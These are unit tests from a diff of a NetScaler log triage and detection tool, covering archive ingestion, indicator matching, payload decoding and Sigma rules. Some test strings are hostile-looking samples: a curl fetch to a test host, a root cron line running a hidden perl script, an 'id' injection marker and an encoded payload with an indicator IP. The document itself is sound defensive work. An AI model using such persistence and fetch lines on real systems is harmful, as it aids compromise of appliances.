with patch.object(
Matcher, "search_with_details", side_effect=[TimeoutError(), (["hit"], [], [])]
):
result = scan([("ADC", logs)], root / "out", [], defaults=False)
self.assertEqual(result["status"], "partial")
self.assertEqual(result["counts"]["records"], 2)
self.assertEqual(result["counts"]["selected"], 2)
self.assertEqual(result["counts"]["matching_errors"], 1)
rows = [
json.loads(line) for line in (root / "out/findings.jsonl").read_text().splitlines()
]
self.assertEqual(rows[0]["raw"], "problem")
self.assertTrue(rows[0]["analysis_errors"])
self.assertEqual(rows[1]["rules"], ["hit"])
def test_large_decoding_candidates_are_not_cached(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
logs = root / "logs"
logs.mkdir()
(logs / "test.log").write_text(("%41" * 2000 + "\n") * 2, encoding="utf-8")
with patch("netscaler_triage.engine.decode_layers", return_value=[]) as decode:
scan([("ADC", logs)], root / "out", [], defaults=False)
self.assertEqual(decode.call_count, 2)
def test_multi_appliance_and_decoded_match(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
inputs = []
for name in ("one", "two"):
directory = root / name
directory.mkdir()
(directory / "http.log").write_text(
"192.0.2.1 - - [01/Oct/2026:12:00:00 +0000] [42] "
'"GET /test?x=aWQ%3D HTTP/1.1" 403 0 "-" "ua"\n',
encoding="utf-8",
)
inputs.append((name, directory))
result = scan(
inputs,
root / "out",
[{"patterns": [{"id": "id", "pattern": "^id$"}]}],
defaults=False,
)
self.assertEqual(result["counts"]["findings"], 2)
db = sqlite3.connect(root / "out/evidence.sqlite")
self.assertEqual(db.execute("SELECT count(*) FROM events").fetchone()[0], 2)
event = json.loads(db.execute("SELECT data FROM events LIMIT 1").fetchone()[0])
self.assertTrue(any(step.get("output") == "id" for step in event["decoding"]))
db.close()
with self.assertRaises(ValueError):
scan(inputs, root / "one/out", [])
with self.assertRaises(ValueError):
scan(inputs, root / "out", [])
def test_literal_ip_boundaries_and_timeout(self) -> None:
matcher = Matcher(
[{"indicators": [{"type": "ipv4", "value": "192.0.2.1"}]}], defaults=False
)
self.assertFalse(matcher.search("192.0.2.11")[1])
self.assertTrue(matcher.search("source 192.0.2.1 end")[1])
pathological = Matcher(
[{"patterns": [{"pattern": "(a+)+$"}]}], timeout=0.001, defaults=False
)
with self.assertRaises(TimeoutError):
pathological.search("a" * 10000 + "!")
if __name__ == "__main__":
unittest.main()
+97
View File
@@ -0,0 +1,97 @@
"""Synthetic indicator boundaries, overlapping values and contextual packs."""
import unittest
from netscaler_triage.matching import Matcher
class IndicatorMatchingTests(unittest.TestCase):
def matcher(self, kind: str, value: str) -> Matcher:
return Matcher([{"indicators": [{"type": kind, "value": value}]}], defaults=False)
def test_typed_boundaries_and_case(self) -> None:
cases = [
("ipv4", "192.0.2.1", "peer 192.0.2.1:443", "peer 192.0.2.10"),
("domain", "example.test", "https://sub.example.test/a", "example.test.evil"),
("domain", "example.test", "EXAMPLE.TEST", "notexample.test"),
("path", "/tmp/evil", "curl https://host.test/tmp/evil", "/tmp/evil.backup"),
("path", "/tmp/evil", "cat /tmp/evil", "/safe/tmp/evil"),
("path", "/tmp/evil", "cat /tmp/evil", "/tmp/EVIL"),
("path", "/tmp/evil", "cat /tmp/evil", "/tmp/evil%2Ebackup"),
(
"url",
"http://example.test/a",
"http://example.test/a",
"http://example.test/a%2Flonger",
),
("path", "evil.php", "GET /vpn/evil.php?x=1", "/vpn/not-evil.php"),
("url", "http://example.test/a", "HTTP://EXAMPLE.TEST/a", "http://example.test/ab"),
("url", "http://example.test/A", "http://example.test/A", "http://example.test/a"),
("sha256", "a" * 64, "sha256=" + "A" * 64, "g" + "a" * 64),
]
for kind, value, positive, negative in cases:
with self.subTest(kind=kind, value=value):
matcher = self.matcher(kind, value)
self.assertTrue(matcher.search(positive)[1])
self.assertFalse(matcher.search(negative)[1])
def test_unicode_case_mapping_does_not_crash_or_invent_ascii_indicator(self) -> None:
matcher = self.matcher("literal", "id")
self.assertFalse(matcher.search("İD")[1])
self.assertTrue(matcher.search("ID")[1])
def test_prefix_indicators_are_not_lost_to_longest_alternative(self) -> None:
matcher = Matcher(
[{"indicators": [{"type": "literal", "value": v} for v in ["abc", "abcdef"]]}],
defaults=False,
)
self.assertEqual({x["value"] for x in matcher.search("abcdef")[1]}, {"abc", "abcdef"})
matcher = Matcher(
[{"indicators": [{"type": "path", "value": v} for v in ["/tmp/", "/tmp/evil"]]}],
defaults=False,
)
self.assertEqual(
{x["value"] for x in matcher.search("/tmp/evil")[1]}, {"/tmp/", "/tmp/evil"}
)
def test_invalid_ip_and_hash_fail_before_scanning(self) -> None:
for kind, value in [("ipv4", "999.1.2.3"), ("ipv4", "2001:db8::1"), ("sha256", "abc")]:
with self.subTest(kind=kind), self.assertRaises(ValueError):
self.matcher(kind, value)
def test_sigma_metadata_cannot_bypass_context(self) -> None:
yaml = """title: Contextual metadata example
id: d7518e0b-4717-45f2-babb-970ab3d546dd
logsource:
product: netscaler
service: http_access
indicators:
- type: ipv4
value: 192.0.2.42
status: reference_only
detection:
selection:
uri: /suspicious
raw|contains: 192.0.2.42
condition: selection
"""
config = {"sigma_rules": [{"source": "example.yml", "yaml": yaml}]}
matcher = Matcher([config], defaults=False)
self.assertEqual(matcher.search("peer 192.0.2.42"), ([], []))
self.assertFalse(matcher.indicators)
self.assertTrue(
matcher.search_sigma(
{"kind": "http_access", "raw": "peer 192.0.2.42", "uri": "/suspicious"}
)
)
self.assertFalse(
matcher.search_sigma(
{"kind": "http_access", "raw": "peer 192.0.2.42", "uri": "/health"}
)
)
with self.assertRaisesRegex(ValueError, "Duplicate rule identifier"):
Matcher([config, config], defaults=False)
if __name__ == "__main__":
unittest.main()
+42
View File
@@ -0,0 +1,42 @@
import unittest
from netscaler_triage.indicators import defang, extract_indicators
class IndicatorTests(unittest.TestCase):
def test_interleaved_url_and_path_spans(self) -> None:
rows = extract_indicators(
"/before http://example.test/a /between https://example.test/b?q=/internal /after"
)
self.assertEqual(
{r["value"] for r in rows if r["type"] == "path"}, {"/before", "/between", "/after"}
)
def test_addresses_and_domains(self) -> None:
rows = extract_indicators(
"src=192.0.2.1 invalid=999.1.1.1 peer=2001:db8::1 Host: example.test ordinary.txt"
)
values = {r["value"] for r in rows}
self.assertIn("192.0.2.1", values)
self.assertIn("2001:db8::1", values)
self.assertIn("example.test", values)
self.assertNotIn("999.1.1.1", values)
self.assertNotIn("ordinary.txt", values)
def test_original_and_reversible_defang(self) -> None:
url = "https://example.test:8443/a.php?q=1"
rows = extract_indicators(url + " /tmp/file " + "a" * 64)
self.assertIn(url, [r["value"] for r in rows])
self.assertIn("sha256", [r["type"] for r in rows])
encoded = defang(url, "url")
self.assertNotIn("https://", encoded)
restored = encoded.replace("[.]", ".").replace("[:]", ":").replace("hxxps:", "https:")
self.assertEqual(restored, url)
def test_boundaries(self) -> None:
self.assertEqual(extract_indicators("x192.0.2.1suffix"), [])
self.assertFalse(any(r["type"] == "domain" for r in extract_indicators("http://[broken")))
if __name__ == "__main__":
unittest.main()
+129
View File
@@ -0,0 +1,129 @@
import gzip
import io
import tempfile
import unittest
import zipfile
from collections.abc import Callable, Iterator
from pathlib import Path
from typing import IO, Any, cast
from unittest.mock import patch
from netscaler_triage.ingest import InputError, extract_archive, inventory, iter_records
class IngestTests(unittest.TestCase):
def test_unreadable_file_does_not_hide_readable_evidence(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
(root / "bad").write_text("private")
(root / "good").write_text("evidence\n")
original = Path.open
def guarded(path: Path, *args: Any, **kwargs: Any) -> IO[Any]:
if path == root / "bad":
raise PermissionError(13, "denied", str(path))
return cast(IO[Any], original(path, *args, **kwargs))
with patch.object(Path, "open", guarded):
listing = inventory(root)
records = list(iter_records(root, "a"))
self.assertEqual(listing[0]["error"], "PermissionError")
self.assertIsNone(listing[0]["sha256"])
self.assertEqual(records[0]["error"], "PermissionError")
self.assertEqual(records[1]["raw"], "evidence")
def test_directory_traversal_errors_are_visible(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
def failed_walk(
path: Path, *, followlinks: bool, onerror: Callable[[OSError], None]
) -> Iterator[tuple[str, list[str], list[str]]]:
onerror(PermissionError(13, "denied", str(root / "unreadable")))
return iter(())
with patch("netscaler_triage.ingest.os.walk", failed_walk):
rows = inventory(root)
records = list(iter_records(root, "a"))
self.assertEqual(rows[0]["source"], "unreadable")
self.assertEqual(records[0]["error"], "PermissionError")
def test_windows_reserved_archive_names(self) -> None:
from netscaler_triage.ingest import _member
for name in ("CON", "logs/NUL.txt", "COM1.log", "logs/name.", "logs/name "):
with self.assertRaises(InputError):
_member(name)
def test_binary_is_explicitly_incomplete(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
(root / "binary").write_bytes(b"hello\x00binary")
self.assertIn("error", next(iter_records(root, "a")))
def test_gzip_magic_and_limits(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
(root / "messages.1").write_bytes(gzip.compress(b"hello\nworld\n"))
before = inventory(root)
rows = list(iter_records(root, "a"))
self.assertEqual([r["raw"] for r in rows], ["hello", "world"])
self.assertEqual(rows[1]["line"], 2)
self.assertIn("error", next(iter_records(root, "a", max_line_bytes=3)))
self.assertEqual(before, inventory(root))
def test_extract_and_fail_closed(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
src = root / "a.zip"
with zipfile.ZipFile(src, "w") as z:
z.writestr("logs/a.gz", gzip.compress(b"abc"))
manifest = extract_archive(src, root / "good")
self.assertEqual(manifest[0]["source"], "logs/a.gz")
with self.assertRaises(FileExistsError):
extract_archive(src, root / "good")
with self.assertRaises(InputError):
extract_archive(src, root / "limit", max_bytes=2)
self.assertFalse((root / "limit").exists())
with zipfile.ZipFile(src, "w") as z:
z.writestr("../escape", "bad")
with self.assertRaises(InputError):
extract_archive(src, root / "bad")
self.assertFalse((root / "bad").exists())
self.assertFalse((root / "escape").exists())
def test_nested_quota_and_symlink(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
nested = io.BytesIO()
with zipfile.ZipFile(nested, "w") as z:
z.writestr("a", "contents")
src = root / "a.zip"
with zipfile.ZipFile(src, "w") as z:
z.writestr("nested.zip", nested.getvalue())
with self.assertRaises(InputError):
extract_archive(src, root / "bad", max_depth=0)
info = zipfile.ZipInfo("link")
info.external_attr = 0o120777 << 16
with zipfile.ZipFile(src, "w") as z:
z.writestr(info, "/tmp/escape")
with self.assertRaises(InputError):
extract_archive(src, root / "bad")
def test_seven_zip(self) -> None:
import py7zr
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
src = root / "a.7z"
with py7zr.SevenZipFile(src, "w") as z:
z.writestr(b"hello\n", "logs/messages")
result = extract_archive(src, root / "good")
self.assertEqual(result[0]["source"], "logs/messages")
self.assertEqual((root / "good/logs/messages").read_bytes(), b"hello\n")
with self.assertRaises(InputError):
extract_archive(src, root / "limit", max_bytes=2)
if __name__ == "__main__":
unittest.main()
+171
View File
@@ -0,0 +1,171 @@
"""Public intelligence provenance and representative matching regressions."""
import base64
import json
import tempfile
import unittest
from pathlib import Path
from typing import Any, ClassVar
from urllib.parse import quote
from netscaler_triage.decoding import decode_layers, has_encoding_candidate
from netscaler_triage.engine import scan
from netscaler_triage.matching import Matcher, public_config
class IntelInventoryTests(unittest.TestCase):
catalog: ClassVar[dict[str, Any]]
matcher: ClassVar[Matcher]
@classmethod
def setUpClass(cls) -> None:
cls.catalog = public_config()
cls.matcher = Matcher([])
def test_unique_catalog_and_resolvable_public_provenance(self) -> None:
sources = {row["id"]: row for row in self.catalog["sources"]}
self.assertGreaterEqual(len(sources), 37)
rows = self.catalog["indicators"]
self.assertEqual(len(rows), len({(row["type"], row["value"]) for row in rows}))
self.assertEqual(len(rows), len({row["id"] for row in rows}))
for row in rows:
with self.subTest(indicator=row["id"]):
self.assertTrue(row["roles"])
self.assertTrue(row["observations"])
self.assertTrue(row["source_ids"])
for source_id in row["source_ids"]:
self.assertIn(source_id, sources)
self.assertIn(sources[source_id]["url"], row["source_urls"])
for observation in row["observations"]:
self.assertTrue(observation["source_dates"])
self.assertIn("original_status", observation)
for date in observation["source_dates"]:
self.assertIn(date["id"], sources)
self.assertIn("published", date)
self.assertTrue(date["retrieved"])
urls = {source["url"] for source in sources.values()}
self.assertIn(
"https://misp.ifin.network/feed/63670851-a19e-4fc4-8fe5-c89bebc8e921.json", urls
)
self.assertTrue(any("elastic" in url for url in urls))
self.assertTrue(any("sygnia.co" in url for url in urls))
def test_secondary_direction_conflicts_and_shared_proxy_context_survive(self) -> None:
rows = self.catalog["indicators"]
observations = [ob for row in rows for ob in row["observations"]]
conflicts = [
ob
for ob in observations
if ob.get("misp_type") == "ip-dst" and "direction conflict" in ob.get("description", "")
]
self.assertTrue(conflicts)
shared = next(row for row in rows if row["value"] == "104.28.215.136")
context = [ob for ob in shared["observations"] if ob.get("misp_to_ids") is False]
self.assertTrue(context)
self.assertTrue(any(ob["original_status"] == "context_only" for ob in context))
self.assertIn("shared", json.dumps(shared).lower())
def test_every_public_indicator_matches_raw_and_decoded_views(self) -> None:
for row in self.catalog["indicators"]:
value = row["value"]
with self.subTest(indicator=row["id"]):
_, hits, _ = self.matcher.search_with_details(value)
self.assertTrue(any(hit["id"] == row["id"] for hit in hits))
raw = self.matcher.search_sigma({"raw": value})
if value == "/var/python/bin/customsnmpd":
self.assertFalse(
raw
) # Legitimate binary: standalone Sigma intentionally omitted.
else:
self.assertTrue(any("raw" in hit["basis"] for hit in raw))
encoded = base64.b64encode(value.encode()).decode()
layers = decode_layers("base64:" + encoded)
decoded = [
layer["output"]
for layer in layers
if layer.get("output") and layer.get("output_encoding") != "hex"
]
self.assertIn(value, decoded)
sigma = self.matcher.search_sigma({"raw": "encoded event"}, decoded)
if value == "/var/python/bin/customsnmpd":
self.assertFalse(sigma)
else:
self.assertTrue(
any(any(b.startswith("decoded:") for b in hit["basis"]) for hit in sigma)
)
escaped = quote(value, safe="")
if escaped != value:
url_layers = decode_layers(escaped)
self.assertTrue(any(layer.get("output") == value for layer in url_layers))
def test_encoding_gate_accepts_canonical_public_indicator_fields(self) -> None:
for row in self.catalog["indicators"]:
encoded = base64.b64encode(row["value"].encode()).decode()
for value in (encoded, encoded.rstrip("=")):
with self.subTest(indicator=row["id"], encoded=value):
self.assertTrue(has_encoding_candidate(value))
self.assertTrue(has_encoding_candidate("payload=" + value))
for payload in ("HTTP_X_UX", "HTTP_X_UX" * 8):
encoded = base64.b64encode(payload.encode()).decode().rstrip("=")
self.assertTrue(has_encoding_candidate(encoded))
for ordinary in ("heartbeat", "INFO routine system heartbeat", "GET / HTTP/1.1"):
self.assertFalse(has_encoding_candidate(ordinary))
# A valid but noncanonical spelling must not pass the whole-field gate.
self.assertFalse(has_encoding_candidate("SFRUUF9YX1VZ=="))
def test_ipv4_literals_do_not_match_address_prefixes(self) -> None:
for row in self.catalog["indicators"]:
if row["type"] != "ipv4":
continue
for text in ("9" + row["value"], row["value"] + "9", row["value"] + ".1"):
with self.subTest(value=row["value"], text=text):
_, hits, _ = self.matcher.search_with_details(text)
self.assertFalse(any(hit["id"] == row["id"] for hit in hits))
self.assertFalse(self.matcher.search_sigma({"raw": text}))
def test_behavior_patterns_match_real_syntax_not_escaped_backslashes(self) -> None:
samples = [
"SSL_HANDSHAKE_FAILURE DTLSv1.0 Handshake failure-Internal Error",
"NSPPE-42 exit with orphan rings",
"pitboss PPE unexpectedly died NSPPE;id;#",
"HTTP_X_UX_0",
"*/5 * * * * root perl /var/tmp/.nsmon/nsmon.pl",
]
for sample in samples:
with self.subTest(sample=sample):
self.assertTrue(self.matcher.search_sigma({"raw": sample}))
benign = self.matcher.search_sigma({"raw": "pitboss PPE missed too many heartbeats"})
self.assertFalse(any(hit.get("level") in {"high", "critical"} for hit in benign))
def test_http_user_agent_encodings_keep_original_and_source_metadata(self) -> None:
payload = "/var/tmp/.nsmon/nsmon.pl 149.104.78.208"
b64 = base64.b64encode(payload.encode()).decode()
variants = [
quote(payload, safe=""),
b64,
b64.rstrip("="),
quote(base64.b64encode(quote(payload, safe="").encode()).decode(), safe=""),
]
originals = [
f'192.0.2.10 - - [01/Oct/2026:12:00:00 +0000] "GET / HTTP/1.1" 200 0 "-" "{variant}"'
for variant in variants
]
with tempfile.TemporaryDirectory() as directory:
root = Path(directory).resolve()
logs = root / "logs"
logs.mkdir()
(logs / "httpaccess.log").write_text("\n".join(originals) + "\n")
output = root / "output"
scan([("ADC", logs)], output, [])
events = [
json.loads(line) for line in (output / "findings.jsonl").read_text().splitlines()
]
self.assertEqual(len(events), len(originals))
for event, original in zip(events, originals, strict=True):
self.assertEqual(event["raw"], original)
hits = [
hit for hit in event["indicator_matches"] if hit["value"] == "149.104.78.208"
]
self.assertTrue(hits)
self.assertTrue(all(hit["source_urls"] and hit["source_ids"] for hit in hits))
self.assertTrue(any(layer.get("output") == payload for layer in event["decoding"]))
+88
View File
@@ -0,0 +1,88 @@
import unittest
from typing import Any
from netscaler_triage.parsing import parse_record
class ParsingTests(unittest.TestCase):
def test_native_correlation_fields(self) -> None:
row = self.parse(
'Sep 28 09:10:11 host bash[1]: return_code="0" trans id 12345 Context [email protected]'
)
self.assertEqual(row["fields"]["return_code"], "0")
self.assertEqual(row["fields"]["transaction_id"], "12345")
self.assertEqual(row["fields"]["context"], "[email protected]")
row = self.parse('Sep 28 09:10:11 host CMD_EXECUTED 12 - Status "Success"')
self.assertEqual(row["fields"]["command_status"], "Success")
def test_attacker_username_is_not_update(self) -> None:
row = self.parse('Sep 28 09:10:11 host aaad[42]: User "installns upgrade rebooting" failed')
self.assertEqual(row["categories"], [])
def test_proxy_source(self) -> None:
row = self.parse(
'192.0.2.40 -> 198.51.100.10 - - [01/Oct/2026:12:02:28 +0000] "GET / HTTP/1.1" 200 5'
)
self.assertEqual(row["fields"]["dest"], "198.51.100.10")
def parse(self, raw: str, **kwargs: Any) -> dict[str, Any]:
return parse_record({"raw": raw}, **kwargs)
def test_access_payload_not_update(self) -> None:
row = self.parse(
'192.0.2.40 - - [01/Oct/2026:12:02:28 +0200] [23] "GET '
'/installns?date=2020-01-01T00:00:00Z HTTP/1.1" 404 23 "-" "x"'
)
self.assertEqual(row["timestamp"], "2026-10-01T10:02:28Z")
self.assertEqual(row["fields"]["uri"], "/installns?date=2020-01-01T00:00:00Z")
self.assertEqual(row["categories"], [])
def test_missing_year_and_gmt(self) -> None:
row = self.parse(
"Sep 30 16:00:54 <local0.warn> 198.51.100.10 09/30/2026:14:00:54 GMT ns "
"0-PPE-0 : message"
)
self.assertEqual(row["timestamp"], "2026-09-30T14:00:54Z")
self.assertIsNone(self.parse("Sep 30 16:00:54 host bash[1]: installns")["timestamp"])
row = self.parse(
"Sep 30 16:00:54 host bash[1]: installns", year=2026, timezone="Europe/Berlin"
)
self.assertEqual(row["timestamp"], "2026-09-30T14:00:54Z")
self.assertEqual(row["fields"]["update_evidence"], "installer_invocation")
def test_historical_explicit_year(self) -> None:
row = self.parse(
"COLLECTOR::INFOA::Sun Sep 28 09:11:12 2025:Successfully loaded "
"configuration(NS13.1-60.20)",
year=2026,
timezone="UTC",
)
self.assertEqual(row["timestamp"], "2025-09-28T09:11:12Z")
self.assertEqual(row["fields"]["versions"], ["13.1-60.20"])
self.assertIn("version", row["categories"])
def test_dst_ambiguity(self) -> None:
self.assertIsNone(
self.parse("2026-10-25 02:30:00 message", timezone="Europe/Berlin")["timestamp"]
)
self.assertIsNone(
self.parse("2026-03-29 02:30:00 message", timezone="Europe/Berlin")["timestamp"]
)
def test_nssetup_version_transition(self) -> None:
row = self.parse(
"Sep 28 09:10:11 host nssetup[386]: ns_conf_check(): This is an upgrade "
"from NetScaler NS13.1 build 50.10 to build 60.20",
year=2026,
timezone="UTC",
)
self.assertEqual(row["fields"]["builds"], ["50.10", "60.20"])
self.assertEqual(row["fields"]["update_relation"], "explicit_upgrade_from_to")
row = self.parse(
"Sep 28 09:10:11 host nssetup[386]: This is NetScaler version NS13.1, build 60.20"
)
self.assertEqual(row["fields"]["versions"], ["13.1-60.20"])
if __name__ == "__main__":
unittest.main()
+173
View File
@@ -0,0 +1,173 @@
import gzip
import io
import tempfile
import unittest
import zipfile
from pathlib import Path
from typing import IO, Any, cast
from unittest.mock import patch
from netscaler_triage.ingest import InputError, iter_records
from netscaler_triage.preparation import prepare_inputs
class PreparationTests(unittest.TestCase):
def test_corrupt_archive_does_not_abort_other_inputs(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
(root / "bad.zip").write_bytes(b"not a zip")
(root / "good.log").write_text("evidence\n")
groups, manifest = prepare_inputs([root / "bad.zip", root / "good.log"], root / "out")
self.assertEqual(len(groups), 1)
errors = [row for row in manifest if row["action"] == "error"]
self.assertEqual(errors[0]["error"], "ArchiveError")
self.assertIn("sha256", errors[0])
def test_unreadable_file_is_manifest_error(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
source = root / "source"
source.mkdir()
(source / "bad").write_text("private")
(source / "good").write_text("evidence")
original = Path.open
def guarded(path: Path, *args: Any, **kwargs: Any) -> IO[Any]:
if path == source / "bad":
raise PermissionError(13, "denied", str(path))
return cast(IO[Any], original(path, *args, **kwargs))
with patch.object(Path, "open", guarded):
groups, manifest = prepare_inputs([source], root / "out")
self.assertEqual(len(groups), 1)
self.assertEqual([r["source"] for r in manifest if r["action"] == "error"], ["bad"])
self.assertEqual(
[p.name for _, folder in groups for p in folder.rglob("*") if p.is_file()], ["good"]
)
def test_password_and_combined_archive_budget(self) -> None:
import py7zr
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
encrypted = root / "private.7z"
with py7zr.SevenZipFile(
encrypted, "w", password="test-secret", header_encryption=True
) as z:
z.writestr(b"log evidence\n", "log/messages")
groups, manifest = prepare_inputs([encrypted], root / "good", password="test-secret")
self.assertEqual(len(groups), 1)
self.assertNotIn("test-secret", str(manifest))
archives = []
for name in ("a.zip", "b.zip"):
path = root / name
with zipfile.ZipFile(path, "w", compression=zipfile.ZIP_DEFLATED) as z:
z.writestr("messages", "A" * 1000)
archives.append(path)
limit = sum(p.stat().st_size for p in archives) + 1999
with self.assertRaises(InputError):
prepare_inputs(archives, root / "limited", max_bytes=limit)
self.assertFalse((root / "limited").exists())
def test_multiple_appliances_and_gzip(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
source = root / "export.zip"
with zipfile.ZipFile(source, "w") as archive:
archive.writestr("wrapper/QS/var/log/messages", b"first\n")
archive.writestr("wrapper/PROD/var/log/messages.gz", gzip.compress(b"second\n"))
before = source.read_bytes()
groups, manifest = prepare_inputs([source], root / "prepared")
self.assertEqual(len(groups), 2)
records = [r for name, folder in groups for r in iter_records(folder, name)]
self.assertEqual({r["raw"] for r in records}, {"first", "second"})
self.assertFalse(any(r.get("error") for r in records))
self.assertEqual(before, source.read_bytes())
self.assertEqual(sum(r["action"] == "scan_root" for r in manifest), 2)
def test_toolkit_exclusions_preserve_script_evidence(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
source = root / "source"
source.mkdir()
(source / "pyproject.toml").write_text('[project]\nname = "netscaler-triage"\n')
(source / "src").mkdir()
(source / "src/tool.py").write_text("tool")
(source / "results").mkdir()
(source / "results/old.log").write_text("old")
(source / "messages").write_text("evidence\n")
(source / "malware.py").write_text('print("evidence")\n')
groups, manifest = prepare_inputs([source], source / "new-output")
files = {p.name for _, folder in groups for p in folder.rglob("*") if p.is_file()}
self.assertEqual(files, {"messages", "malware.py"})
self.assertEqual(
{r["source"] for r in manifest if r["action"] == "excluded"},
{"src", "results", "pyproject.toml", "new-output"},
)
def test_plain_evidence_src_is_not_toolkit(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
source = root / "source"
(source / "src").mkdir(parents=True)
(source / "src/malware.py").write_text("code evidence")
groups, _ = prepare_inputs([source], root / "out")
self.assertEqual(sum(len(list(p.rglob("malware.py"))) for _, p in groups), 1)
def test_gzip_wrapped_zip_and_nested_named_archive(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
source = root / "source.zip"
zipped = io.BytesIO()
with zipfile.ZipFile(zipped, "w") as archive:
archive.writestr("log/messages", "hello\n")
with zipfile.ZipFile(source, "w") as archive:
archive.writestr("inner.gz", gzip.compress(zipped.getvalue()))
groups, _ = prepare_inputs([source], root / "out")
records = [r for name, folder in groups for r in iter_records(folder, name)]
self.assertEqual([r["raw"] for r in records], ["hello"])
def test_combined_quota_and_nooverwrite(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
a = root / "a.log"
b = root / "b.log"
a.write_bytes(b"a" * 6)
b.write_bytes(b"b" * 6)
with self.assertRaises(InputError):
prepare_inputs([a, b], root / "out", max_bytes=10)
self.assertFalse((root / "out").exists())
(root / "out").mkdir()
(root / "out/keep").write_text("safe")
with self.assertRaises(FileExistsError):
prepare_inputs([a], root / "out")
self.assertEqual((root / "out/keep").read_text(), "safe")
def test_symlink_rejected_and_source_preserved(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
source = root / "source"
source.mkdir()
(source / "real").write_text("evidence")
(source / "link").symlink_to("real")
with self.assertRaises(InputError):
prepare_inputs([source], root / "out")
self.assertFalse((root / "out").exists())
self.assertEqual((source / "real").read_text(), "evidence")
def test_two_same_named_exports_stay_distinct(self) -> None:
with tempfile.TemporaryDirectory() as tmp:
root = Path(tmp).resolve()
sources = []
for n in ("one", "two"):
source = root / n / "log"
source.mkdir(parents=True)
(source / "messages").write_text(n)
sources.append(source)
groups, _ = prepare_inputs(sources, root / "out")
self.assertEqual(len(groups), 2)
self.assertEqual(len({name for name, _ in groups}), 2)
if __name__ == "__main__":
unittest.main()
+95
View File
@@ -0,0 +1,95 @@
"""Boundary semantics for the bundled public reference Sigma groups."""
import unittest
from importlib.resources import files
from typing import ClassVar
from urllib.parse import urlsplit
from netscaler_triage.sigma_rules import SigmaMatcher
class PublicBoundaryTests(unittest.TestCase):
matcher: ClassVar[SigmaMatcher]
@classmethod
def setUpClass(cls) -> None:
content = files("netscaler_triage").joinpath("data", "public_sigma.yml").read_text()
cls.matcher = SigmaMatcher.from_yaml(content)
def matched(self, kind: str, value: str, decoded: bool = False) -> bool:
hits = self.matcher.search_with_details(
{"raw": "opaque" if decoded else value}, [value] if decoded else []
)
return any(hit["name"] == "public_reference_" + kind for hit in hits)
def test_catalog_positive_raw_and_decoded_per_group(self) -> None:
for row in self.matcher.indicators:
kind, value = str(row["type"]), str(row["value"])
if kind not in {"domain", "path", "url", "sha256"}:
continue
if value == "/var/python/bin/customsnmpd":
continue # Legitimate binary intentionally omitted from standalone selectors.
with self.subTest(kind=kind, value=value):
self.assertTrue(self.matched(kind, value))
self.assertTrue(self.matched(kind, value, decoded=True))
def test_domains_accept_subdomains_not_lookalike_suffixes(self) -> None:
domain = next(str(r["value"]) for r in self.matcher.indicators if r["type"] == "domain")
self.assertTrue(self.matched("domain", "sub." + domain.upper()))
for value in ("evil" + domain, domain + ".invalid", domain + "-suffix"):
self.assertFalse(self.matched("domain", value))
def test_path_boundaries_case_and_url_embedding(self) -> None:
value = "/tmp/lula"
self.assertTrue(self.matched("path", value))
self.assertTrue(self.matched("path", "https://example.invalid" + value))
for other in (value + ".backup", value + "-longer", "/other" + value, value.upper()):
self.assertFalse(self.matched("path", other))
self.assertTrue(self.matched("path", "/directory/LoginIcon.sig"))
self.assertFalse(self.matched("path", "/directory/LoginIcon.sig.backup"))
self.assertFalse(self.matched("path", "/directory/loginicon.sig"))
def test_urls_preserve_path_case_and_reject_extension(self) -> None:
value = next(str(r["value"]) for r in self.matcher.indicators if r["type"] == "url")
parsed = urlsplit(value)
authority = parsed.scheme + "://" + parsed.netloc
self.assertTrue(self.matched("url", authority.upper() + value[len(authority) :]))
for suffix in ("-longer", ".backup", "/extra"):
self.assertFalse(self.matched("url", value + suffix))
if any(char.isalpha() for char in parsed.path):
self.assertFalse(self.matched("url", authority + value[len(authority) :].upper()))
def test_hashes_require_token_boundaries(self) -> None:
value = next(str(r["value"]) for r in self.matcher.indicators if r["type"] == "sha256")
self.assertTrue(self.matched("sha256", value.upper()))
self.assertFalse(self.matched("sha256", "f" + value))
self.assertFalse(self.matched("sha256", value + "z"))
class PublicLongLineTests(unittest.TestCase):
def test_encoded_loader_bounds_long_negative_and_positive_lines(self) -> None:
content = files("netscaler_triage").joinpath("data", "public_sigma.yml").read_text()
matcher = SigmaMatcher.from_yaml(content)
loader = next(
rule for rule in matcher.rules if rule.metadata["name"] == "sygnia-encoded-loader"
)
long_encoded = "QUJD" * 200000
self.assertFalse(loader.predicate({"raw": long_encoded}))
self.assertTrue(loader.predicate({"raw": long_encoded + " NSPPE base64 httpaccess"}))
self.assertTrue(loader.predicate({"raw": "first line\nNSPPE base64 httpaccess"}))
self.assertFalse(loader.predicate({"raw": "NSPPE\nbase64 httpaccess"}))
def test_crash_lookahead_long_negatives_and_line_semantics(self) -> None:
content = files("netscaler_triage").joinpath("data", "public_sigma.yml").read_text()
matcher = SigmaMatcher.from_yaml(content)
crash = next(
rule
for rule in matcher.rules
if rule.metadata["name"] == "elastic-inspired-crash-shell"
)
for text in ("QUJD" * 200000, "pitboss; " + "packet " * 100000):
self.assertFalse(crash.predicate({"raw": text}))
self.assertTrue(crash.predicate({"raw": "QUJD" * 200000 + " pitboss NSPPE;"}))
